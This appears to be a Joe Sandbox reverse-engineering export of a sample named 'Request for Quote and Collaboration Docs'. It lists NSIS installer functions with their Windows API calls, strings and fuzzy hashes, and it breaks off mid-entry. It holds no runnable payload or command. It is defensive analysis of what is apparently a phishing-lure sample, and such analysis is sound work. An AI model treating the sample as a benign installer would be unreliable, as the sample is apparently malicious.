Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: File$ByteCharMultiReadWide$Pointerwsprintf
String ID: 9
API String ID: 1149667376-2366072709
Opcode ID: 5bf3696fc1b43342bc1c7e4b21794d67987bb543e605c58fae928a8d5a7d4e33
Instruction ID: 2cb5264777941c8734ead6492e5e892e31f06070e548dc8493562ac8cc7c1c9a
Opcode Fuzzy Hash: 5bf3696fc1b43342bc1c7e4b21794d67987bb543e605c58fae928a8d5a7d4e33
Instruction Fuzzy Hash: B551E971E04209ABDF24DF94DE88AAEB779FF04304F50443BE501B62D0D7B99A42CB69

Function 004027B5 Relevance: 10.6, APIs: 7, Instructions: 89memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 00402809
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,?,000000F0), ref: 00402825
GlobalFree.KERNEL32(FFFFFD66), ref: 0040285E
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402870
GlobalFree.KERNEL32(00000000), ref: 00402877
CloseHandle.KERNEL32(?,?,?,?,?,?,000000F0), ref: 0040288F
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 004028A3

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: 120950de23c25218e4c137f2e62925978e01813800c9cf407bd4cdabe4d04e4e
Instruction ID: c52f99eb37a0f9a93b384f1dc8ea19ce670fa72408cf6cd502fc0ac50d833161
Opcode Fuzzy Hash: 120950de23c25218e4c137f2e62925978e01813800c9cf407bd4cdabe4d04e4e
Instruction Fuzzy Hash: AC31A072C00118BBDF11AFA5CE49DAF7E79EF05364F20423AF510762E1C6796E418BA9

Function 00405194 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: aabeaaca48730acbc73074f8e678aaac97ab8e564c9cd04649984117108eee2c
Instruction ID: f08454111491fc0d39351af24b8902c1f97f976603b555b028d64c931b302e29
Opcode Fuzzy Hash: aabeaaca48730acbc73074f8e678aaac97ab8e564c9cd04649984117108eee2c
Instruction Fuzzy Hash: 42219D71900518BACB119FA5DD84ADFBFB8EF44354F54807AF904B62A0C7798A41DFA8

Function 00402D1A Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000), ref: 00402D35
GetTickCount.KERNEL32 ref: 00402D53
wsprintfW.USER32 ref: 00402D81

Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

CreateDialogParamW.USER32(0000006F,00000000,00402C7F,00000000), ref: 00402DA5
ShowWindow.USER32(00000000,00000005), ref: 00402DB3

Part of subcall function 00402CFE: MulDiv.KERNEL32(?,00000064,?), ref: 00402D13

Strings

... %d%%, xrefs: 00402D7B

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: 37da5e6e22464c23d40ec4d31b3b8eabf55409bf9acffd0f2ef74a8860773cf4
Instruction ID: 10fb19a6c4b2eae8d62923eb178f02f9fc5b3c6af7becd3ce095817841e91703
Opcode Fuzzy Hash: 37da5e6e22464c23d40ec4d31b3b8eabf55409bf9acffd0f2ef74a8860773cf4
Instruction Fuzzy Hash: 2901A130949220EBD7626B60AF1DAEA3B68EF01704F1445BBF901B11E0C6FC9D01CA9E

Function 00404A5E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404A79
GetMessagePos.USER32 ref: 00404A81
ScreenToClient.USER32(?,?), ref: 00404A9B
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404AAD
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404AD3

Strings

f, xrefs: 00404AAF

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction ID: cab112d5f89b67c13374b27971796476edbf79a01bfb7ffc6895eaaae0ed81f2
Opcode Fuzzy Hash: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction Fuzzy Hash: 1C014C71E40219BADB00DB94DD85BFEBBB8AB55715F10012ABB11B61C0C7B4A9018BA5

Function 00402C7F Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402C9D
wsprintfW.USER32 ref: 00402CD1
SetWindowTextW.USER32(?,?), ref: 00402CE1
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402CF3

Strings

unpacking data: %d%%, xrefs: 00402CBF, 00402CCF
verifying installer: %d%%, xrefs: 00402CC6

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: 51bd416a2a5802dcebde0e8cf043a9bf389b7035035a475ca1d7752134760d3a
Instruction ID: 78b67de6d16717a489960d5e53e23e1f77e1f7f38f635152e8b2699b13fa448d
Opcode Fuzzy Hash: 51bd416a2a5802dcebde0e8cf043a9bf389b7035035a475ca1d7752134760d3a
Instruction Fuzzy Hash: EAF06270504108ABEF205F50CD4ABAE3768BB00309F00803AFA16B91D0CBF95959DF59

Function 0040317D Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 108fileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00403192

Part of subcall function 0040330F: SetFilePointer.KERNEL32(00000000,00000000,00000000,00402FE7,?), ref: 0040331D

SetFilePointer.KERNEL32(00000000,00000000,?,00000000,?,00403095,00000004,00000000,00000000,?,?,?,0040300E,000000FF,00000000,00000000), ref: 004031C5
WriteFile.KERNEL32(0040BE78,?,00000000,00000000,00413E78,00004000,?,00000000,?,00403095,00000004,00000000,00000000,?,?), ref: 0040327F
SetFilePointer.KERNEL32(?,00000000,00000000,00413E78,00004000,?,00000000,?,00403095,00000004,00000000,00000000,?,?,?,0040300E), ref: 004032D1

Strings

x>A, xrefs: 004031F2

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: File$Pointer$CountTickWrite
String ID: x>A
API String ID: 2146148272-3854404225
Opcode ID: c3e212118fbef9e4adb068f61efe2bd575096358676594393449bc7ea11798d5
Instruction ID: e2b2982e6b1d623d5d036838b7619e310c478df2cbc778b1b7af49cc7c53be0d
Opcode Fuzzy Hash: c3e212118fbef9e4adb068f61efe2bd575096358676594393449bc7ea11798d5
Instruction Fuzzy Hash: 2A41AC72504201DFDB10AF29ED848A63BACFB54315720827FE910B22E0D7799D81DBED

Function 0040617E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00434000,00436800,00436800,00000000,00403332,00436800,76233420,00403512), ref: 004061E1
CharNextW.USER32(?,?,?,00000000), ref: 004061F0
CharNextW.USER32(?,00434000,00436800,00436800,00000000,00403332,00436800,76233420,00403512), ref: 004061F5
CharPrevW.USER32(?,?,00436800,00436800,00000000,00403332,00436800,76233420,00403512), ref: 00406208

Strings

*?|<>/":, xrefs: 004061D0

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: bf19904cbb26e83114afcd58bf256c97857e1bb2abc1c9c3e805ea3815cda1ed
Instruction ID: e0619f79a043cffb4c3b00824a243f33de9385cd0f0c41224b0956f888f04927
Opcode Fuzzy Hash: bf19904cbb26e83114afcd58bf256c97857e1bb2abc1c9c3e805ea3815cda1ed
Instruction Fuzzy Hash: 3511C47680021295EB307B548C40BB762F8EF957A0F56403FE996B72C2E77C5C9282BD

Function 004024EE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54filestringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,0040A580,000000FF,00409D80,00000400,?,?,00000021), ref: 0040252F
lstrlenA.KERNEL32(00409D80,?,?,0040A580,000000FF,00409D80,00000400,?,?,00000021), ref: 00402536
WriteFile.KERNEL32(00000000,?,00409D80,00000000,?,?,00000000,00000011), ref: 00402568

Strings

8, xrefs: 0040250C

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: ByteCharFileMultiWideWritelstrlen
String ID: 8
API String ID: 1453599865-4194326291
Opcode ID: 9598e7bf0115d7b54bac2ba601592103c37d762dad4affe4391b543117dffca7
Instruction ID: b6741c74acf97665735c623be1ff62c12e58b25bca11cb73faf7774dd427f28f
Opcode Fuzzy Hash: 9598e7bf0115d7b54bac2ba601592103c37d762dad4affe4391b543117dffca7
Instruction Fuzzy Hash: A5019671A44204FBD700AFA0DE49EAF7278AB50319F20053BF102B61D2D7BC5D41DA2D

Function 00401752 Relevance: 7.6, APIs: 5, Instructions: 145stringtimeCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,00000000,00409580,00435000,?,?,00000031), ref: 00401793
CompareFileTime.KERNEL32(-00000014,?,00409580,00409580,00000000,00000000,00409580,00435000,?,?,00000031), ref: 004017B8

Part of subcall function 00405EEA: lstrcpynW.KERNEL32(?,?,00000400,004033C8,004281E0,NSIS Error), ref: 00405EF7

Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: f5fb99fc77cb499af78de08433a29d52c657005603a562d7fa302922f95013b5
Instruction ID: bc5e94bc6114b027384bbb583ab77f55914405742357509a7a45d2f14902e26b
Opcode Fuzzy Hash: f5fb99fc77cb499af78de08433a29d52c657005603a562d7fa302922f95013b5
Instruction Fuzzy Hash: 0541A071900515BACF10BBB5CC46DAF7A78EF05368B20863BF521B11E2D73C8A419A6E

Function 00402B7A Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00402B9B
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402BD7
RegCloseKey.ADVAPI32(?), ref: 00402BE0
RegCloseKey.ADVAPI32(?), ref: 00402C05
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402C23

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 91a0cc9b62795f3a8a15dda2708214bc4454f5c9052d466bcbd9eea0ad329b5b
Instruction ID: ada95b61e8ad34ac3bb2ad29be3e5f3f7733698153a8948b25f67961a2a4c07b
Opcode Fuzzy Hash: 91a0cc9b62795f3a8a15dda2708214bc4454f5c9052d466bcbd9eea0ad329b5b
Instruction Fuzzy Hash: 2E113D7190400CFEEF21AF90DE89DAE3B79EB54348F10447AFA05B10A0D3759E51EA69

Function 00401CE5 Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401CEB
GetClientRect.USER32(00000000,?), ref: 00401CF8
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D19
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D27
DeleteObject.GDI32(00000000), ref: 00401D36

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 548b7988845d34974c7096401ec02f3577b62e53f99ad47469e6fcf51543f742
Instruction ID: 62a37a396924b9b833916b179176740e0848b2f5cedec3081aefe4e9105dc113
Opcode Fuzzy Hash: 548b7988845d34974c7096401ec02f3577b62e53f99ad47469e6fcf51543f742
Instruction Fuzzy Hash: F0F0E1B2A04104BFDB01DBE4EE88DEEB7BCEB08305B104466F601F5190C674AD018B35

Function 00401D41 Relevance: 7.5, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D44
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D51
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D60
ReleaseDC.USER32(?,00000000), ref: 00401D71
CreateFontIndirectW.GDI32(0040BD88), ref: 00401DBC

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: 6de236fac86f4cc62a0a7bf8fa179f1b370f6b686e9a3dedb6aaee9d500d3606
Instruction ID: 3b80acf522b7bf2f021413e8febbbf72b8f641a50adb0d53ac9f1aa9edf06097
Opcode Fuzzy Hash: 6de236fac86f4cc62a0a7bf8fa179f1b370f6b686e9a3dedb6aaee9d500d3606
Instruction Fuzzy Hash: DF01D131948280AFEB016BB0AE0BB9ABF74DF95301F144479F245B62E2C77914049F7E

Function 00403062 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00409230,00000000,00000000,00000000,00000000,?,?,?,0040300E,000000FF,00000000,00000000,00409230,?), ref: 00403088
WriteFile.KERNEL32(00000000,00413E78,?,000000FF,00000000,00413E78,00004000,00409230,00409230,00000004,00000004,00000000,00000000,?,?), ref: 00403115

Strings

x>A, xrefs: 004030DE

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: File$PointerWrite
String ID: x>A
API String ID: 539440098-3854404225
Opcode ID: b27c88111c9479bfc016d655c0b2bfb1ccfb1f1bf46317cd24110ceb5cc412c0
Instruction ID: dc2c699ff297b31fb9e84695071232237a0836a1395088a2783af72dccbdbb3b
Opcode Fuzzy Hash: b27c88111c9479bfc016d655c0b2bfb1ccfb1f1bf46317cd24110ceb5cc412c0
Instruction Fuzzy Hash: A8312871500219EBDF10CF65EC44AAA3FBCEB08755F20813AF905AA1A0D3349E50DBA9

Function 00404978 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(004226D0,004226D0,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,0000040F,00000400,00000000), ref: 00404A09
wsprintfW.USER32 ref: 00404A12
SetDlgItemTextW.USER32(?,004226D0), ref: 00404A25

Strings

%u.%u%s%s, xrefs: 004049F3

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: a87d65089fa2b22b88f3ea6921d71f9a407986b65cfb91be1df2eb5324c2a4fc
Instruction ID: 6b2e2e184c3c611d12d6b53aa9198873543b26f6782fca7c8cbe4a2e3a07221a
Opcode Fuzzy Hash: a87d65089fa2b22b88f3ea6921d71f9a407986b65cfb91be1df2eb5324c2a4fc
Instruction Fuzzy Hash: 1411E2736001243BCB10A66D9C45EEF368D9BC6334F180637FA29F61D1DA799C2186EC

Function 00401BCA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C2A
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C42

Strings

!, xrefs: 00401BFE

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
